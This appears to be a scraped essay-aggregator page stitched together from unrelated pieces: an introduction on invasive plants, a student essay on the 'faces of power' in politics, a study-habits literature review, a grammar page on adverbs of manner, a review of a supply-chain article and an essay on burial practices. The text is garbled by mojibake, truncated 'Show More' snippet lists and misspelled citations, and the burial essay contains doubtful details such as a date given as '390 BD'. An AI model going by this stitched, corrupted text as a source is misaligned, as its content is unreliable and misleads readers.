Nonnative Invasive Plants - The Invasion of America by the Yellow Starthistle :: Horticulture Ecology Environment

Nonnative Invasive Plants - The Invasion of America by the Yellow Starthistle Introduction Our planet is made up of seven continents and seven oceans holding hundreds of thousands of environments and ecosystems, each with unique variations, compositions, and distinctions, and each carefully balanced in the functions of its different members. Over time, equilibria have been reached, as the organisms that populate areas stabilized, intermingled, and interacted with weather, soil, water availability, and other innumerable environmental factors. This is not to say that such environments are stagnant, for they are far from it. In order to remain healthy and profitable, however, change must happen slowly in an ecosystem, so that all members of the ecological community can adapt and survive. Radical change results in dangerous instability and threatens the livability of the system for the animals, plants, and even humans who depend upon it. As systems are vastly different and extremely delicate, species that are successful, profitable and enhance the livability in one area are sometimes entirely inapplicable and in fact dangerous in another. It is for this reason that we find ourselves confronted, in recent history, with a relatively new problem: nonnative species invasion. As human populations have begun to engage in widespread travel, exchanges, and modification attempts worldwide, they have also--both knowingly and unknowingly--introduced, transported, and intermingled species between ecosystems in a manner that is neither gradual nor delicate. Imbalances and frailties have ensued in the very ecosystems upon which we depend for our survival, health, and economic success. New animals, plants, bacteria, and organisms of all shapes and sizes and from every kingdom are being introduced to once stable environments on a regular basis through human carelessness and ignorance. Once introduced, they often negatively affect their newfound homes, taking over with unexpected force and threatening the native organisms. Many are well known, like Kudzu, an oriental plant initially introduced for erosion control, which now covers millions of acres in the Southern United States, or the tiny Zebra Mussel, originally found in Poland, which now blocks water supply and treatment systems nationwide. Invasive species are not a distant threat which will make their effects felt twenty or thirty years from now. They compose a current problem having major impacts on life and industry everywhere, and the magnitude of this problem continues to grow.

Political Power Essay

‘A gets B to do something that he or she would not otherwise do’. Does this sum up the essence of political power? â€Å"Political analysis can be defined quite simply as the analysis of the nature, exercise and distribution of power.†1 This argument is criticised of being too broad, excluding almost nothing, nevertheless it is reasonable to argue that power is the central theme which lies throughout the study of politics. Therefore defining the concept of power is one of the crucial things in the study of politics consequently it is often contested and can never be agreed among the scholars. This essay will focus on so-called the ‘faces of power’ controversy in the post war period. First of all, the idea which consists of the first and basic part in interpreting power will be introduced. Then what its critiques argue and their flaws will also be discussed to draw the conclusion how far the argument ‘A gets B to do something that he or she would not otherwise do’ reflects the essence of power. The ‘faces of power’ debate was raised from different theoretical traditions and approaches to political analysis. Basically the argument is about whether the concept of power is simple and quantifiable or it is rather complicated and intuitive concept which cannot be measured. Lukes2 acknowledges that this concept can never be settled. Alternatively he accepts the broad definition of power as A’s ability to get B to do what he or she would not otherwise have done but tries to highlight 3 different ways in which A can influence B’s behaviour: decision-making, agenda-setting and thought control. The one face of power – power as decision-making was suggested by Dahl in the early post war years. The thesis put forward above was originally proposed by him and this one-dimensional view of power was significant and influential in 1950s. â€Å"Power is somehow about getting things done, and is therefore most clearly reflected in decision and how they are made.†3 For Dahl, in order to find out power relationship, three steps are needed. First, a number of decision areas are selected and then the actors involved in that decision and their interests are figured out. Finally by comparing the decisions made and the actors’ preferences, the power relationship can be revealed. In this sense power is understood as a concept which can be simplified and quantified. A clear example was shown in?Political Analysis?: Anna buys Ben’s car for à ¯Ã‚ ¿Ã‚ ½500 which is actually worth à ¯Ã‚ ¿Ã‚ ½800 and both of them are aware of the real value. In this case, Anna’s power has been exercised over Ben in terms of decision-making since this decision would not have been the case if he had an influence in the process. One of the critical assumptions here is that the actors involved are fully aware of the information. Anna could have made this deal without exerting power if Ben did not know the real value. This argument of power as a decision-making does often make sense in tripartite political system where a number of different parties exercise their influence on controversial issues. In this case it is obvious to see the frequency of a particular party’s preference coincides with the final decision. Thus, how far they have influence on decision-making can be understood in terms of their political power. However Dahl’s argument faces critical attack in a sense that it too focuses on its narrow concept of power in decision-making. First of all, since only the key decisions are studied, it raises the problem of how far we are capable of distinguishing key issues and routine issues which are often ignored. Moreover, it does not take the potential power into account. In this manner, the power which is not exerted cannot be regarded as power. For instance, some business groups would not be concerned with the welfare issues until they realise the increased burden for welfare tax. Then it might be possible for them to begin exercising their power which has not been exercised without any explicit need for it. Also as assumed from its name, it only uncovers ‘one face of power’ ignoring other circumstances â€Å"in which decisions are prevented from happening, the area of non-decision-making.†4 This gave a rise to the second face of power argument by Bachrach and Bar atz. According to their view, power should be understood as agenda-setting which is the two dimensional approach. â€Å"Power might be manifested not only in doing things but also in ensuring that things do not get done.†5 What they basically insist is that power is exercised in choosing what should be involved in formal discussion and what should not be. In other words, who holds the power needs to be understood in agenda-setting process before the actual decision-making process. In this way, they have broadened the boundary in the concept of power. This kind of approach is well shown in the liberal democratic system where parties are seen as the medium of representing a particular preference on issues. However they can actually block a certain kind of issue to be discussed by disregarding it or make an agreement not to raise the issue. It is difficult to quantify the concept of power from this approach nonetheless not impossible. Thus they agree with the one-dimensional approach in a sense that there should be observable and demonstrable evidence of power relationship between the one who exercise power and the other who are subject to the power. However â€Å"the attempt to limit the concept of non-decision-making to observable behaviour is entirely arbitrary†6 since it does not take in the case in which the subordinated do not recognise themselves as being subordinated. Consequently this problem gave a rise to the third-dimensional view introduced by Lukes. According to his argument, the basic assumption of the above two views is not quite right. What people believe as their interests does not necessarily mean their ‘real’ interests. â€Å"The ability of A to exercise power over B, not by getting B to do what he would not otherwise do, but, by ‘influencing, shaping or determining his very wants'†7 What is meant here is that power lies in shaping people’s consciousness rather than their actions. In other words, without forcing them to do something visibly it is possible to make them do regarding that as natural and beneficial for them. This can be true where people’s preferences are often influenced by social experiences such as culture, education and media and these can be manipulated by those who have the power. In this way it naturally leads to the concept of ‘false consciousness’ which reflects the idea that people are â€Å"prevented from recognizing the fact of its own exploitat ion†8 However Luke’s argument also faces severe criticism. Back in the example of Anna and Ben, the critical point is not in the fact that Anna forced Ben to do something that he would not otherwise do, but in the fact that Ben behaved in a way which is contrary to his genuine interest. This raises a problematic point that who is to know Ben’s real interests. In effect, â€Å"It is impossible to argue that people’s perceptions and preferences are a delusion, that their ‘felt’ needs are no their ‘real’ need, without a standard of truth against which to judge them.†9 In this sense this debate become meaningless since there is no scientific method which to prove and make an absolute judgement over this. Furthermore it is contested that nobody is capable of distinguishing the autonomous decision based on real interests and the one based on felt interests being manipulated from powerful. To conclude, the debate over the concept of power has been developed from the shallow one dimensional understanding to a more intuitive and complex three dimensional one. It cannot be said that the effort of developing it into more sophisticated form has always been successful. However through this process, it is true to say that the concept of power has been understood from various approaches which enabled better understanding. Nevertheless the important point to note is that the latter has never attempted to replace or deny the former approach since no single argument can define the political concept of power by its own. Rather, it has its root in the former argument and tries to make it more convincing. From this point of view, power is definitely something which enables ‘A gets B to do something that he or she would not otherwise do’. Therefore on one hand, it is possible to say that the essence of power lies in this argument to a certain extent but there can be plur al ways depending on approaches in doing so. (1,419 words) References Clegg, S.R. (1989:11) Frameworks of Power. London: SAGE Publications Ltd. Hay, C. (2002:168) Political Analysis: A critical introduction. Basingstoke: Palgrave. Heywood, A. (2004:122, 124, 125, 127 and 128) Political theory: An introduction (3rd edn). Basingstoke: Palgrave Macmillan. Goverde, H. et al. (eds) (2000:26) Power in Contemporary Politics. London: SAGE Publications Ltd. Bibliography Clegg, S.R. (1989) Frameworks of Power. London: SAGE Publications Ltd. Goodwin, B. (1997) Using political ideas (4th edn). Chichester: John Wiley & Sons Ltd. Goverde, H. et al. (eds) (2000) Power in Contemporary Politics. London: SAGE Publications Ltd. Hay, C. (2002) Political Analysis: A critical introduction. Basingstoke: Palgrave. Heywood, A. (2004) Political theory: An introduction (3rd edn). Basingstoke: Palgrave Macmillan. McLean, I. & McMillan, A. (2003) Oxford concise dictionary of Politics (2nd edn). Oxford: Oxford University Press. 1 Hay, C. (2002:168) Political Analysis: A critical introduction. Basingstoke: Palgrave. 2 Heywood, A. (2004:122) Political theory: An introduction (3rd edn). Basingstoke: Palgrave Macmillan. 3 Heywood, A. (2004:124) Political theory: An introduction (3rd edn). Basingstoke: Palgrave Macmillan. 4 Heywood, A. (2004:125) Political theory: An introduction (3rd edn). Basingstoke: Palgrave Macmillan. 5 Clegg, S.R. (1989:11) Frameworks of Power. London: SAGE Publications Ltd. 6 Goverde, H. et al. (eds) (2000:26) Power in Contemporary Politics. London: SAGE Publications Ltd. 7 Heywood, A. (2004:127) Political theory: An introduction (3rd edn). Basingstoke: Palgrave Macmillan. 8 Heywood, A. (2004:128) Political theory: An introduction (3rd edn). Basingstoke: Palgrave Macmillan. 9 Heywood, A. (2004:128) Political theory: An introduction (3rd edn)). Basingstoke: Palgrave Macmillan.

Study Habits - 1391 Words

Chapter 2 REVIEW OF RELATED LITERATURE amp; STUDIES According to Palm Beach Community College (PBBC, 2008), they recommend that student’s study should have at least three hours out of class for every hour spent in class. They also said that a student must have a special place to study with plenty of room to work. And students should not be cramped. They presupposes that study time will go better if a learner take a few minutes at the start to straighten things up. A desk and straight-backed chair is usually best. â€Å" Dont get too comfortable--a bed is a place to sleep, not to study† as what they said. A student must have everything close at hand (book, pencils, paper, coffee, dictionary, computer, calculator, tape recorder, etc.)†¦show more content†¦It was hypothesized that the more caffeine a student consumes while studying, the more accurately his or her study habits would be labeled as unhealthy, as determined by the researchers. Unhealthy study habits were operationally defined as low scores on amount of time per study session, time(in days) when preparation began, and amount of information the participants believed they had retained. High scores on anxiety level were included in unhealthy study habits. A Pearson correlation indicated no relationship between amount of caffeine consumed while studying and the individuals effectiveness of studying and preparation. Marcus Credà © and Nathan R. Kuncel (2008) in their research at the University of Albany said that Study habit, skill, and attitude inventories and constructs were found to rival standardized tests and previous grades as predictors of academic performance, yielding substantial incremental validity in predicting academic performance. The meta-analysis examined the construct validity and predictive validity of 10 study skillShow MoreRelatedStudy Habits854 Words   |  4 Pageslevel of students in school becomes higher, their study habits differ from time to time. The kind of study habits they have shows the differences or improvements in how they become skilled and earnest about learning new things. Studying does not only include the preparation of students to excel in class but also the reinforcements of the lessons already taught. It is merely reviewing and committing to mind new information. Furthermore, study habits can be derived as buying out a dedicated scheduledRead MoreStudy Habits6353 Words   |  26 PagesSTUDY HABITS AND ACADEMIC PERFORMANCE OF THIRD YEAR STUDENTS OF SANTA ROSA SCIENCE AND TECHNOLOGY HIGH SCHOOL FOR THE SCHOOL YEAR 2011-2012 A Thesis Presented to the Faculty of the Graduate School Polytechnic University of the Philippines Santa Rosa Campus In Partial Fulfilment of the Requirements for the Degree Master in Educational Management By JESUSA G. HABIG August 2011 CHAPTER I THE PROBLEM AND ITS BACKGROUND Introduction Effective study skills are necessary for a high school studentRead MoreStudy Habits Introduction1844 Words   |  8 Pageswatching others, you have to practice and practice frequently. Successful students employ time management systems to create study patterns that work and use active learning methods to add meaning and interest to their study time and maintaining their motivation by connecting reasons for study to their life goals and values. Learners must develop and established good study habits in doing school work, which can raised their academic performance. High educational achievement attained by the learnersRead MoreStudy Habits Introduction1853 Words   |  8 Pageswatching others, you have to practice and practice frequently. Successful students employ time management systems to create study patterns that work and use active learning methods to add meaning and interest to their study time and maintaining their motivation by connecting reasons for study to their life goals and values. Learners must develop and established good study habits in doing school work, which can raised their academic performance. High educational achievement attained by the learners inRead MoreChapter 2 Study Habits2145 Words   |  9 PagesChapter II Related Literature and Related Studies This research study cited books, articles and laws, which are relevant to the  present investigation.  It is composed of related literature and studies, both local andforeign, which contain facts and information on the research problem at hand.  It also  provides  explanations  and  logical  connections  between  previous  researches  and  the  present work. Foreign Literature In Dorothy E. Jhonson’s Behavioral System Model, she stated that a behavioral systemRead MoreStudy Habits of Accounting Students4380 Words   |  18 PagesBSA, because of the job opportunities awaits them when they become a CPA. Accounting students in UE Caloocan are trained. They have a good faculty to guide them, they provide seminars, and they provide reviews before the exams. Background of the Study For others, when they hear that you’re an Accountancy student, it means that you are intelligent and good at solving problems, but it’s not easy to be an accountant student. Many BSA students failed and shifted to other courses because of the retentionRead MoreFactors Affecting Study Habits4632 Words   |  19 Pages3, 2006; Accepted April 14, 2006. Other Sectionsââ€" ¼ Abstract Objective The objective of this study was to examine factors such as academic competence, test competence, time management, strategic studying, and test anxiety, and identify whether these factors could distinguish differences among students, based on academic performance and enrollment in the experiential program. Methods A cross-sectional study design utilizing questionnaires measuring previously validated constructs was used to evaluateRead MoreStudy Habits and the Academic Performance of the Pupils.7856 Words   |  32 Pagespersonal matter and there isn’t one study habit that works for every situation. One here to take more responsibility to acquire the desired knowledge to develop positive values, critical thinking, attitudes and skills. Effective study skills and strategies opportunities to approach learning tasks systematically and independently. Practicing good study habits is the key to becoming smarter and achieving success in school. Paivio (2000) noted that habits of study, which are formed in school haveRead MoreThe Effects of Study Habits on Academic Performance....2248 Words   |  9 PagesOzamiz City, 7200 â€Å"THE EFFECT OF STUDY HABITS ON THE ACADEMIC PERFORMANCE OF SECOND YEAR ACCOUNTANCY STUDENTS ENROLLED IN SUMMER IN LA SALLE UNIVERSITY, OZAMIZ CITY, SCHOOL YEAR 2010† A research proposal Presented to: Mr. Raymundo Dolor, CPA, MBA, LLB In Partial Fulfilment Of the Requirements for the Subject ACTW By Emphasis, Hazel G. Zamoras, Jaykie Luzette ABSTRACT This study identifies whether study habits bring positive or negative effects to the academicRead MoreThe Effect of Study Habits on the Academic Performance3650 Words   |  15 PagesEffect of Study Habits on the Academic Performance of sophomore Bachelor of Elementary Education Students of the Divine Word College of Bangued during the First Semester 2011- 2012 Submitted by: Mary B. Gallardo Alfreinel S. Castillo Jessie T. Sibayan Gilberto Regil D. Valera Jr. DIVINE WORD COLLEGE OF BANGUED Bangued, Abra May 11, 2012 Abstract The study sought to find the effect of study habits on the academic performance of the second year Bachelor of Elementary Education students. It sought

Definition of Adverb of Manner

In English grammar, an adverb of manner is an adverb (such as quickly or slowly) that describes how  and in what way the action of a verb is carried out. Also called a manner adverb and a  manner adverbial. Most adverbs of manner are formed by adding -ly to adjectives, but there are important exceptions (e.g., well). In most cases, the comparative and superlative of manner adverbs are formed with more (or less) and most (or least) respectively. Adverbs of manner most often appear  Ã¢â‚¬â€¹after a verb or at the end of a verb phrase  (but see the notes on positioning below).It is  adverbs of manner, says Rodney Huddleston, that are most freely modified by other adverbs (normally of degree):  She spoke very quietly (Introduction to the Grammar of English). Examples and Observations Fenweather spoke sharply, and brought his head around towards me.(Raymond Chandler, Finger Man. Trouble Is My Business, 1939)Mr. Legree walked slowly to the front of the room and spoke to the children softly but firmly.My grandmother complained loudly about the temperature of the room.When President Madison sent troops into West Florida in 1810, Federalists loudly complained about the expansive use of presidential power.Plantings that had been carefully arranged to frame natural or architectural features were carelessly cleared away.Cautiously, gently, I touch the slide.(Mary Ladd Gavell, The Rotifer. Psychiatry, 1968)She flushed and, as people will do who are unable, or are too young to discuss impersonally subjects on which they hold strong opinions, she spoke aggressively.​  (Alec Waugh, Kept: A Story of Post-War London, 1925)Here the excellent tenor player, Prince Robinson, holds forth for three-quarters of a chorus, easily demonstrating why Coleman Hawkins and other mus icians thought so highly of him. Not quite as consistently energetic as Hawkins, he could at times match him in inventiveness.(Gunther Schuller, The Swing Era: The Development of Jazz, 1930-1945. Oxford University Press, 1989) Positioning Manner Adverbs Certain types of adverbs are excluded from certain positions. For example, a manner adverb may immediately precede the main verb, following a nonfinite auxiliary (1.7a), but it cannot precede a finite or non-finite auxiliary (1.7b,c). (1.7a) The prisoner has been loudly proclaiming his innocence.(1.7b) *The prisoner has loudly been proclaiming his innocence.(1.7c) *The prisoner loudly has been proclaiming his innocence. . . . Nevertheless, a manner adverb may occur in a clause-initial position: (1.81) Loudly, the prisoner has been proclaiming his innocence. (Eva Engels, Optimizing Adverb Positions. John Benjamins, 2012) Adverbs can also modify clauses. Compare the two sentences in (61). (61a) He answered the question foolishly.(61b) Foolishly, he answered the question. In (61a), foolishly is a manner adverbial. It describes how he answered the question, that is, he gave a foolish answer. However, in (61b) foolishly is not a manner adverb. It is an evaluation of what he did. Answering the question was a foolish act. We do not know why it was foolish to do this, but the speaker feels that it was. Adverbs that make a comment about the entire sentence are called adjuncts.(Ron Cowan, The Teachers Grammar of English: A Course Book and Reference Guide. Cambridge University Press, 2008) If we all behaved rationally, presumably we would all reach similar conclusions on the basis of the same available information.(Jo Brunas-Wagstaff, Personality: A Cognitive Approach. Routledge, 1998)} A Warning Watch out for manner adverbs that add no solid information: extremely, very, really, incredibly, unbelievably, astonishingly, totally, truly, currently, presently, formerly, previously.Also watch out for ones that try too hard to add impact to actions: cruelly, happily, wantonly, angrily, sexily, alluringly, menacingly, blissfully.All these words have their place. They appear in the best writing, but more often theyre found in the worst writing. So consider them red flags and weigh their use carefully.(June Casagrande, It Was the Best of Sentences, It Was the Worst of Sentences. Ten Speed Press, 2010) Classroom Activity With Manner Adverbs One student goes outside, and the others choose a manner adverb (for example, quickly or angrily). The student returns and orders one of the members of the class to do an action by saying, for example, Stand up! or Write your name on the board! or Open the door! The person addressed has to carry out the command according to the manner adverb chosen: to stand up quickly, or write their name angrily, for example. The student has to guess what the manner adverb was.(Penny Ur and Andrew Wright, Five-Minute Activities: A Resource Book of Short Activities. Cambridge University Press, 1992)

Article Review- What Is the Right Supply Chain for Your...

Article Review- What is the right supply chain for your product? by Marshall L. Fisher What is the right supply chain for your product ? is the question asked by Marshall L. Fisher in his article titled, â€Å"What is the Right Supply Chain for Your Product ?† published in March-April 1997 issue of the Harvard Business Review. Author raises the question stating the fact that new ideas and technology implemented haven’t lead to improved performance. Performance has not become better but rather in at least some cases, has worsened due to costs rocketing to unprecedented levels. Based upon his ten years research on supply chain issues in diverse industries such as food, fashion, apparel and automobiles he devises a framework which will help†¦show more content†¦The correct decision depends on whether the product is sufficiently innovative so that it can justify the cost of making the supply chain responsive. Turning your product from innovative to functional makes sense when the variety offered is not really necessary. On the other hand, when a company has an efficient supply chain for its innovative products, the solution is to make some of them functional and organize a responsive supply chain for the rest of them. Fischer talks about the two types of games, viz. cooperative and competitive, for a manufacturer to play within the chain to ensure an efficient supply of functional products. He also states the way to deal with unpredictability in Responsive supply chain of innovative products. The problem in production scheduling of innovative product s, is the unreliability of the forecasts. If all the forecasts for your products are summed up, the overall forecast will be credible enough to count on it. This kind of strategy has huge impacts on the way the supply chain functions. Products are as closer as possible to the finished goods but they are not customized, it is done according to the customer preference. Apart from such push-pull policy, it is also very important to reduce lead times and have real information from the market as soon as possible. To achieve the first one, it is fundamental to accelerate the exchange of information within the chain as much asShow MoreRelatedArticle Review- What Is the Right Supply Chain for Your Product?1173 Words   |  5 PagesArticle Review- What is the right supply chain for your product? by Marshall L. Fisher What is the right supply chain for your product ? is the question asked by Marshall L. Fisher in his article titled, â€Å"What is the Right Supply Chain for Your Product ?† published in March-April 1997 issue of the Harvard Business Review. Author raises the question stating the fact that new ideas and technology implemented haven’t lead to improved performance. Performance has not become better but rather inRead MoreReview on Article - What Is the Right Supply Chain for Your Products1505 Words   |  7 PagesWhat Is the Right Supply Chain for Your Product ? Article by Marshall L.Fisher INTRODUCTION †¢ Marshall L.Fisher is the Stephen J.Heyman Professor of Operations and Information Management and co-director of the Fishman-Davidson Center for Service and Operations Management at the University of Pennsylvania’s Wharton School in Philadelphia. †¢ His current research focuses on how to manage the supply of products with hard-to –predict demand. Devising the Ideal Supply-Chain Strategy †¢ According toRead MoreReview on Article - What Is the Right Supply Chain for Your Products1512 Words   |  7 PagesWhat Is the Right Supply Chain for Your Product ? Article by Marshall L.Fisher INTRODUCTION †¢ Marshall L.Fisher is the Stephen J.Heyman Professor of Operations and Information Management and co-director of the Fishman-Davidson Center for Service and Operations Management at the University of Pennsylvania’s Wharton School in Philadelphia. †¢ His current research focuses on how to manage the supply of products with hard-to –predict demand. Devising the Ideal Supply-Chain Strategy †¢ AccordingRead MoreBenefits Of A Supply Chain Management Essay1697 Words   |  7 PagesA supply chain management may be defined as the process involving all the activities like planning, organising, implementing and controlling the cost effective flow of goods from the point of origin to the point of consumption. This involves various other activities which is required to add value to the product along the supply chain like procurement, sourcing and conversion of the products. There are a lot of players involved like the suppliers, manufacturers distributors etc. They have to haveRead MoreAmerican Tool Works2448 Words   |  10 PagesVILLANOVA UNIVERSITY VILLANOVA SCHOOL OF BUSINESS FTE MBA Program CMB 8050 - 001: VIRTUAL SUPPLY CHAIN MANAGEMENT Spring 2010 Dr. Matthew J. Liberatore Phone No.: (610) 519-4390 Office: 3072 Bartley Hall Fax No.: (610) 519- 6566 E-mail address: matthew.liberatore@villanova.edu Class web site: http://www.homepage.villanova.edu/matthew.liberatore/CMB8050 Class schedule: Thursdays 6:00 p.m. – 9:30 p.m. Office hours: Tuesdays and Thursdays 11:00 a.m. – 12:00 p.m., Thursday 5:30 p.m. –Read MoreMKTG 2001 COURSE OUTLINE 2014 2015 SEMESTER 2 12009 Words   |  9 Pagesand tell you. LECTURE SCHEDULE WEEK TOPIC CHAPTERS 1-4 What is Marketing Marketing Basics Philosophies of Marketing Marketing and Society The Marketing Environment Strategic Planning and Marketing Planning The Marketing Management Process The Case Analysis Methodology –see CAVE HILL E-LEARNING 1,2,3 5 Marketing Research 4 6 Market Segmentation, Targeting and Positioning 7 7 Consumer Behaviour 5 8-12 The Marketing Mix – Product, Price, Distribution and Promotion 8,9,10,11,12,14,15,16 * onlyRead MoreImportance Of An Effective Supply Chain Strategy2243 Words   |  9 PagesIMPORTANCE OF AN EFFECTIVE SUPPLY CHAIN STRATEGY Executive Summary Fundamental to any business organisation is the need to have an effective supply chain strategy (Aronsson, Hakan Maria, 2006). This is achieved mainly by how an organisation can develop and implement its supply chain strategy. Development and implementation of these strategies may differ from one institution to another, but the general idea is the same across all organisations (Brewer, Thomas, 2001). This article, therefore, shows theRead MoreProduct Process Matrix3847 Words   |  16 PagesThe product-process matrix, developed by Hayes and Wheelwright in 1979 was designed to show the trade-offs in operations and marketing by linking product plans and process choices. The model is based on traditional trade-offs evident in a single manufacturing facility environment. The product-process matrix has been empirically tested, but improvements in operations flexibility by applying advanced technologies have caused many to question the models continued validity. In recent years, the en vironmentRead MoreHbr Reflection Retail Doesnt Cross Borders1456 Words   |  6 Pages2012 Subject matter: HBR Reflection Retail Doesn’t Cross Borders -Here is why and what to do about it- Reflection The article at hand Retail Doesnt Cross Borders- Heres why and what to do about it written by Marcel Corstjens, the Unilever Chaired Professor of Marketing at Insead, and Rajiv Lal, the Stanley Roth Sr. Professor of Retailing at Harvard Business School, was published in the Havard Business Review of April 2012 on the pages 104-111 and deals with the issues of expanding abroad forRead MoreEssay about Case Study 1706 Words   |  3 Pageshighly paid workers with lower-paid workers did or did not cause Circuit City to perform so poorly. How confident are you in your evaluation? Why? After reviewing the article, one can be confident that the replacement of highly paid workers was what made Circuit City perform poorly, which led to Circuit City closing. One can be confident that high paid skilled workers is what hurt Circuit City due to Best Buy being able to outperform Circuit City with less quality people and lower wages. Highly paid

Burial Practices Throughout the Ages Free Essays

Society has always looked for a way to honor its dead. This has been the case since the earliest of times. There are rituals in all populations that mark the various passages each travel through in life. We will write a custom essay sample on Burial Practices Throughout the Ages or any similar topic only for you Order Now For instance, we mark an individual’s accomplishments in graduating from college, or getting married. It is no different in death. Death is the final passage that civilizations throughout history have found ways to honor. Burials and the ceremonies that commemorate them, offer the survivors an opportunity to pay homage to the life that has been lost. It gives them a chance to celebrate the deceased for accomplishments, life and family. The burial ceremony allows the survivors a chance to mourn, and express their grief to others. The ceremony helps those left behind to heal from the pain of the loss. From the early civilizations to the present, burial rituals have told us a great deal about the social behavior of the population. In most cases, children and elderly were buried just the same as the younger, stronger male. That tells us that the population valued its people and grieved their loss. In the middle and late Iron Age, burial practices reflected a diverse community. In the area that is now Britain, an individual was buried in two separate areas. For instance, there are areas where single bones are buried, as well as locations where the rest of the body is found. During the Iron Age, the breaking down of the human body indicated ritual activities. This was done at death or shortly after with the use of excarnation. Excarnation is allowing the body to be exposed until it reaches the skeleton stage. At that point, the cranium is usually first to separate from the body, followed by the feet and hands. This process will usually involve the chopping of skin, or soft tissue (Redfern, 2008). Once body parts are separated, the secondary burial can be completed. The body processing also included breaking bones to remove joint cartilage. Archeologists have noticed that the bones found in secondary sites usually have cut marks, and fractures (Redfern, 2008). The Neanderthal was different in its method of dealing with the dead. In fact, the Neanderthal buried its dead in a painstaking ritual that occurred in stages with the consumption of the deceased person’s body parts. Nevertheless, the Neanderthal left gifts on the graves of those who died. Statistics indicate that 40 percent of the graves that archeologists have examined have been of the very old or very young. That fact indicates that the civilization valued both its elderly and children (Friedermann, Muller, Hemm, 2008). The burial practices of the pre-pottery Neolithic civilization found individuals buried in shallow graves. Some graves contained only one person while others contained many. Archeologists discovered 21 artifacts related to 15 graves in Atlit-Yam, on the Northern coast of Israel. Most of the items were tools, axes, and other household items. The graves at this site were simple. There were a few secondary burial sites, as some skulls were detached from the body. The burial site was covered with lime plaster on its surface (Galili, Eshed, Goher, Hershkovitz, 2005). In the third millennium burial practices in the Oman peninsula feature tombs circular in shape with un-worked stone that had a single ring around it. The tomb had between two and ten chambers within it. One tomb at the site of Unar 1 was large enough to hold the bodies of 438 people. A smaller tomb found at Unn an-Nar Island only held between 34-48 individuals. Inside of the tombs, archeologists found ceramics, soft-stone objects, bronze, beads and shells. These items and burial method indicates a collective manner of living. There were some cremations discovered in this period as well (Blau, 2001). A burial cave found in the Aleutian Islands dated back to 390 BD. gives a glimpse into the function of the society. Inside the cave were found hearths and work places. Human bones had arranged stones around them. There was an additional stone arrangement at the back of the cave. In front of the cave, in the habitation area, animal bones and artifacts were found. The bodies were in a sarcophagus in wood or stone coffins. There is some discussion among scholars that cave burials may have been just for the better off (West, Lefevre, Corbett, Crockford, 2003). Burial rites in Sophocles’ Athens featured the use of tombs more than cemeteries. The tombs are found along roads or at passageways or gates. Antigone believed that all people are entitled to burial. The words tumbos and herion mean mounds of the land that cover the deceased and mark where the individual is buried. The word, taphos means the tomb. The grave or tomb generally was located in a public location. The idea that the dead should be separated in some way from those living is not a part of the Greek culture. However, late 5th century walls have been found that divide up tombs from one family to another. Monuments always face the street or public square. The Romans of the same era prohibited the burial of any individual within the city. (Patterson, 2006). Murders in this era were executed for their crime. After execution, they were stoned and thrown out of the city without being buried. Suicide victims were buried but not provided a headstone. People of good standing were given ceremonies that featured songs. Then they were placed in a decorated tomb (Patterson, 2006). Heroes and those killed in battle were given a public funeral with games, oration, and sacrifices. Solon devised the rules for burial in Athens. He said the deceased should be laid out within his home. The next day, he would be carried out of the house on the board he was laying on. When they carry the dead out, men will walk in the front of the procession. Women walk behind. In addition, no woman under age 60 could enter the chamber of the dead, or the tomb. (Patterson, 2006). This is quite different from the days of Jesus where women were in charge of caring for the dead. In Medieval times there is a diverse burial rite found in the use of boats with regional and temporal variations found. The Sutton Hoo Mound is a large ship-type grave. Most of the boats used were dugout logboats. Some of the civilizations used boat timbers or boat parts to cover the grave area (Brooks, 2007). Scandinavia is well-known for its adoption of burial by boat. The Swedes and Norwegians practiced boat cremations; however, such is rare in Anglo-Saxon areas. The exception to this is the site at Sutton Hoo Mount three. At that site there is a tree-trunk made like a coffin that was used for cremation (Brooks, 2007). By the time the 18th century came around, most people in England were buried in unmarked graves in a churchyard. The ground was consecrated and the service was performed by an Anglican clergyman. He used the book, â€Å"Book of Common Prayers† for the service. In 1689, however, the idea of personalized funerals and pre-planned ceremonies came into being. The more affluent bought coffins. This lead to the development of the undertaker profession (Gitting, 2007). The very affluent built themselves a mausoleum on their land. The most famous ceremony was for John Knill, the mayor of St. Ives. He established a trust and asked that a ceremony be performed every five years. The ritual featured ten girls, who were under the age of ten. It also featured two widows, the vicar, and mayor and customs officer. All paraded to the mausoleum on top of a hill. The ceremony featured dancing, and singing, â€Å"Old Hundredth, â€Å"All people that on earth do dwell† (Gitting, 2007). Ironically, the ceremony was last completed in 2006. After the American Civil War, the ideal of embalming became popular. Prior to this Americans relied on the European methods establish for the preservation of the body. The use of embalming gave family a chance to look at the person one last time and accept his or her death. Embalming was used after Lincoln’s death to allow him to lie in state for individuals to witness, (Funeral Industry, n. d. ) In conclusion, burial rites of differing civilizations tell us a story of how the people lived, as well as how they died. It explains their values, and speaks to the kind of society they lived within. For example, south of Cairo a 5,000 year old tomb was discovered. Inside of the tomb archeologists found the bones of 10 donkeys. (Burial Site, 2008). This indicates the value this civilization placed on the role of the animals. Therefore, burial rites explain much about ancient civilizations, but also tell us a great deal about ourselves. Although the rituals may have changed, the overall purpose is the same and that is to honor the dead. References Blau, S. (2001). Fragmentary endings: a discussion of 3rd-millennium BC burial practices in the Oman Peninsula. Antiquity, 75, (289), 557 Brooks, S. (2007). Boat-nvets in graves in pre-Viking Kent: Reassessing Anglo-Saxon boat burial traditions. Medieval Archeology, 51, (1), 1-18 Burial site a high honour for a lowly beast. (2008). In Mac lean’s, 121, (16), 55 Friedermann, S. , Muller, S. , Hemm, C. (2008). The Neanderthals. New York, NY: Routledge Publishing Company Funeral Industry. (n. d. ) In Encyclopedia of Death and Dying. Retrieved April 30, 2010, from, http://wwwdeathreference,con/En-Gh/funeral-industry. htm Galili, E. , Eshed, V. , Gopher, A. , Hershkovitz, A. (2005). Burial practices of the submerged pre-pottery Neolithic C site of Atlit-Yam, Northern Coast of Israel. Bulletin of the American Schools of Oriental Research, 339, 1-19 Gitting, C. (2007). Eccentric or Enlightened? Unusual burial and commemoration in England, 1689-1823. Mortality, 12, (4), 321-349 Patterson, C. (2006). The place and practice in burial in Sophocles’ Athens. Helios, 33, 9-48 Redfern, R. (2008). New evidence for Iron Age secondary burial practice and bone modification from Gussage, All Saints and Maiden Castle (Dorset, England). Oxford Journal of Archeology, 27, (3), 281-301 West, D. , Leferve, C. , Corbett, D. , Crockford, S. (2003). A burial cave in the western Aleutian Islands, Alaska. Artic Anthropology, 40, (1), 70 How to cite Burial Practices Throughout the Ages, Papers

Climate Change And World Food Supply Essay free essay sample

